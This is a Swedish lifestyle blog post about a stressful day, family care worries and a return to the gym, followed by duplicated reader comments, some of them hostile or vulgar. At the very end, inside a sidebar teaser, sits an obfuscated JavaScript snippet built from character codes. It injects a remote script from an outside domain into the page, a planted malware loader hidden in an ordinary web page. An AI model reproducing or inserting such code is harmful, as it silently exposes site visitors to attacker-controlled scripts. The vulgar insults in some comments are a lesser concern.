Frisk och tillbaka på gymmet!

 

A33CB452-8EF9-4809-A320-3063A1881043

 Hej finingar!

Jag är tröttare än tröttast, men ville kika in och säga hej 👋🏻 En liten uppdatering om dagen, med lite suddiga mobilbilder….

Titta vilka som kommit hem ❤️👆🏻Äntligen är dom hemma. Dom har varit hos svärmor sedan  i åkte till Thailand. Nu har Jonas hämtat dom ☺️

Jösses Amalia! Idag har allt som kunnat få fel, gått fel😅🙈 Århundrades sk*t dag på ren svenska!

Kö även idag som ledde till försening till jobbet…. 

 Snö som rasade ner i huvudet, inparkerad bil, spillde kaffe över hela mig 🤣 En p-bot,  Ja du vet, en sån där dag när man undrar om man borde stannat kvar i sängen……

Hade även ett långt samtal med min extrapappas nya enhetschef. Vårdplanering, rehabiliterings fortsättning, flytt, placering, rätt eller fel. Vad är bäst. För vem. Två situationer, den ena rullstolsbunden efter stroke, den andra med demens. Ja, hur man än gör så blir det inte optimalt. 

Riktigt svårt att förhålla mig till hela situationen just nu. Jag är frustrerad! 

Sen…. kom samtalet med min son. Som också haft en mindre bra dag. Han hade haft en tuff dag i skolan. En ledsen lilleman, som varit inblandad i en situation. En situation som vi ska forska vidare i, imorgon. Inget allvarligt, men ändå….. Stort för honom. 

Idag har jag alltså haft en riktig TUFF dag helt enkelt! 🙈

Livet. SÅ är det ibland, bara gilla läget, ladda om och ta nya tag! ☺️

D437A974-F68B-4016-AF4D-0B8D9FE38266

Därför kändes det så skönt när jag kom fram till gymmet och mötte upp Ako. Han var pigg och glad som vanligt!😄

Idag har vi vägt, mätt, och tagit förebilder på mig, Nu ska jag nämligen se om jag kan få fart på kroppen och bygga upp styrkan igen 💪🏻👊🏻

Jag kommer ta hjälpa av honom att hitta tillbaka och bli starkare än någonsin är min plan! 😁

Jag har en lång väg tillbaka, det kommer vara tufft, men nu finns det inga genvägar! Back to Basic!

Jag hade dessutom världens mysigaste sällskap😍 👇🏻

0B12BCE8-CF16-499C-9845-04505CD872B3

Akos gym heter Crossfit Atum, och ligger i Statshagen😄

73B50482-704A-404E-B2DF-728D724A1A7C

Låt mig säga såhär……. Jag är mer än helt slut! 🤣😅 -Så skön känsla!

Jag var ju så grinig när jag blev sjuk när jag precis hade kommit igång och börjat få in rutinerna. Men nu är jag frisk igen… Så nu ska rutinerna tillbaka igen😉

Jag var både trött, låg, ledsen och lite arg när jag kom till gymmet.  Men efter träningen så mådde jag genast mycket bättre 😊

Dagens vapendragare 👇🏻

606CBA5E-388C-4F19-8838-1E00C5A95341

Imorgon ska vi avslöja något kul vi har haft på G och planerat ett tag😉 Där även du kan följa med om du vill….. Stay tuned! 

Men nu….. Nu ska jag gå och lägga mig, bums! Ögonen går i kors och jag behöver sova!

Så gonatt kära cybervän 💕 hoppas att din dag varit bättre än min 🙈

Kram kram

/My Martens 

57 Komentarer

  1. Din lögn försvinner ju inte bara för att du tar bort blogginlägg eller kommentarer. Allt finns ju att läsa på bloggbevakning!
    Varför inte bara erkänna att du ljög!?

  2. Din lögn försvinner ju inte bara för att du tar bort blogginlägg eller kommentarer. Allt finns ju att läsa på bloggbevakning!
    Varför inte bara erkänna att du ljög!?

  3. Du borde ju varken ha bil eller körkort…. kör som ett jehu med mobilen i högst hugg, nu p-bot???
    För det andra så heter det inte rullstolsbunden!!!!
    Det heter RULLSTOLSBUREN! Den stolen borde du tänka på när du är i trafiken och fotar hur du kan orsaka andra trafikanter att hamna i den…

  4. Du borde ju varken ha bil eller körkort…. kör som ett jehu med mobilen i högst hugg, nu p-bot???
    För det andra så heter det inte rullstolsbunden!!!!
    Det heter RULLSTOLSBUREN! Den stolen borde du tänka på när du är i trafiken och fotar hur du kan orsaka andra trafikanter att hamna i den…

  5. Räcker det inte med kommentarer nu? Visst, jag tycker oxå att my gör fel som inte dementerar och bara tar bort ett inlägg som gjort så många upprörda men nu har hon valt det och man fortsätter att läsa eller inte läsa hennes blogg.

  6. Räcker det inte med kommentarer nu? Visst, jag tycker oxå att my gör fel som inte dementerar och bara tar bort ett inlägg som gjort så många upprörda men nu har hon valt det och man fortsätter att läsa eller inte läsa hennes blogg.

  7. En gång tidigare bad du om ursäkt för ett inlägg som du skrev om en annan bloggare. Du länkade till inlägget och förklarade att det var skrivet i affect. När många bad dig ta bort inlägget så menade du att ”lagt kort ligger” och att du står för det du skriver. Det gäller inte inlägget och bilderna med din roadtripp, bra att du inte står för det.

  8. Och där kröp alla trollfittor fram under sina stenar igen?Och kanske en och annan trollkuk med?Alla upphetsade av den självutnämnda bloggpolisen camcam!
    Att ni orkar??

    • Fina ord du använder. Man ska väl ändå hålla sig till sanningen tycker du inte? det är väl ändå inte något som helst elakt och ont i det.

    • Ditt språk är hemskt.
      Hon har bara lagt ut på Bloggbevakning vad alla såg tydligen. Fakta om bilden mm.
      Men My HAR inget inlägg om detta nu och då borde diskussionerna om detta få ett slut NU. Samt att folk kan sluta kalla varann för otrevligheter

  9. En gång tidigare bad du om ursäkt för ett inlägg som du skrev om en annan bloggare. Du länkade till inlägget och förklarade att det var skrivet i affect. När många bad dig ta bort inlägget så menade du att ”lagt kort ligger” och att du står för det du skriver. Det gäller inte inlägget och bilderna med din roadtripp, bra att du inte står för det.

  10. Och där kröp alla trollfittor fram under sina stenar igen😂Och kanske en och annan trollkuk med😱Alla upphetsade av den självutnämnda bloggpolisen camcam!
    Att ni orkar😱😂

    • Fina ord du använder. Man ska väl ändå hålla sig till sanningen tycker du inte? det är väl ändå inte något som helst elakt och ont i det.

    • Ditt språk är hemskt.
      Hon har bara lagt ut på Bloggbevakning vad alla såg tydligen. Fakta om bilden mm.
      Men My HAR inget inlägg om detta nu och då borde diskussionerna om detta få ett slut NU. Samt att folk kan sluta kalla varann för otrevligheter

  11. Om det är ett trafikbrott eller ej (oavsett vad vi tycker och tänker) så är väl det ändå upp till polisen att avgöra. Har my inget att dölja så kan hon ju vara lugn.
    Kommentarsfältet här börjar likna när man var liten och sprang hem och sa”vet du hennes mamma sa faktiskt…”. Vad som står på bloggbevakning eller inte , tror inte jag får My att ”erkänna” att hon har gjort fel.
    Get over it. Ingen skada skedd och hon vet nog innerst inne att det kanske inte var så lämpligt, och gör förhoppngsvis inte om det..

  12. Om det är ett trafikbrott eller ej (oavsett vad vi tycker och tänker) så är väl det ändå upp till polisen att avgöra. Har my inget att dölja så kan hon ju vara lugn.
    Kommentarsfältet här börjar likna när man var liten och sprang hem och sa”vet du hennes mamma sa faktiskt…”. Vad som står på bloggbevakning eller inte , tror inte jag får My att ”erkänna” att hon har gjort fel.

    Get over it. Ingen skada skedd och hon vet nog innerst inne att det kanske inte var så lämpligt, och gör förhoppngsvis inte om det..

  13. Jag tycker det är så tråkigt för dig My att snart vartenda inlägg handlar om att det varit en SKITdag.
    Försök vända det, försök se det positiva i att du ändå har tid och ork att luncha, gå på gym mm ( har du bytt gym igen?)
    Du orkar ju en hel del i alla fall.
    Sen skriver du om din extrapappa, jag personligen skulle inte låta honom på på ett demensboende även om det är där frun behöver vara.
    Hans rehabilitering kanske helt skulle ta stryk av det. Men jag hoppas vårdchefer har vett om att placera honom där det är bäst.
    Det löser sig nog.
    Sen skriver du om din son, om han varit inblandad i nåt i skolan så har kanske hans pappa tagit tag i det?
    Det löser sig nog.
    Låt andra ta över lite av det du tycker dig känna att du måste vara inblandad i.
    Du har ju varit mkt sjukskriven själv och för att må bra så kanske man ibland måste släppa lite på sitt kontrollbehov.
    Det bästa till dig, men fortsätt tryck på bromsen emellanåt och var glad åt det du kan och klarar.
    Kram

  14. Alltid trött, alltid trött. Finns ju roligare bloggar att läsa . Tror det blir så i fortsättningen. Men inte ska du väl träna när du mår så dåligt som du oftast gör. Ta det lugnt, ta tåget o t-bana till jobbet så slipper du alla p-böter. Det ör vad de flesta i Stockholmsområdet gör.
    Jag bor även jag i storstan men har ALDRIG fått en p-bot. Stockholm har så bra kommunikationer, man spar oftast både pengar och tid. Man kan ju sitta och koppla av på tåget o komma hem piggare än att köra bil i trafikkaoset på vägar och gator.

  15. Jag tycker det är så tråkigt för dig My att snart vartenda inlägg handlar om att det varit en SKITdag.
    Försök vända det, försök se det positiva i att du ändå har tid och ork att luncha, gå på gym mm ( har du bytt gym igen?)
    Du orkar ju en hel del i alla fall.
    Sen skriver du om din extrapappa, jag personligen skulle inte låta honom på på ett demensboende även om det är där frun behöver vara.
    Hans rehabilitering kanske helt skulle ta stryk av det. Men jag hoppas vårdchefer har vett om att placera honom där det är bäst.
    Det löser sig nog.
    Sen skriver du om din son, om han varit inblandad i nåt i skolan så har kanske hans pappa tagit tag i det?
    Det löser sig nog.
    Låt andra ta över lite av det du tycker dig känna att du måste vara inblandad i.
    Du har ju varit mkt sjukskriven själv och för att må bra så kanske man ibland måste släppa lite på sitt kontrollbehov.
    Det bästa till dig, men fortsätt tryck på bromsen emellanåt och var glad åt det du kan och klarar.
    Kram

  16. Alltid trött, alltid trött. Finns ju roligare bloggar att läsa . Tror det blir så i fortsättningen. Men inte ska du väl träna när du mår så dåligt som du oftast gör. Ta det lugnt, ta tåget o t-bana till jobbet så slipper du alla p-böter. Det ör vad de flesta i Stockholmsområdet gör.
    Jag bor även jag i storstan men har ALDRIG fått en p-bot. Stockholm har så bra kommunikationer, man spar oftast både pengar och tid. Man kan ju sitta och koppla av på tåget o komma hem piggare än att köra bil i trafikkaoset på vägar och gator.

  17. My jag läser bara kommentarerna nu för tiden då inläggen är så enkelt och handlar om samma sak hela tiden. Kan du inte skriva om det positiva som händer bara blir mkt roligare läsning.

  18. My jag läser bara kommentarerna nu för tiden då inläggen är så enkelt och handlar om samma sak hela tiden. Kan du inte skriva om det positiva som händer bara blir mkt roligare läsning.

  19. Men snälla folk, tycker ni inte om My s sätt att blogga skit i å gå in på den!!!! INGEN tvingar ju ngn till att läsa. Läs ngn annans ist för att kasta sån skit ni gör i denna blogg!! Hoppas det inte är uppfostrade kvinnor/män som kommenterar sånhär skit…. My Gooood
    Goooo My Martens❤️

  20. Men snälla folk, tycker ni inte om My s sätt att blogga skit i å gå in på den!!!! INGEN tvingar ju ngn till att läsa. Läs ngn annans ist för att kasta sån skit ni gör i denna blogg!! Hoppas det inte är uppfostrade kvinnor/män som kommenterar sånhär skit…. My Gooood
    Goooo My Martens❤️

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/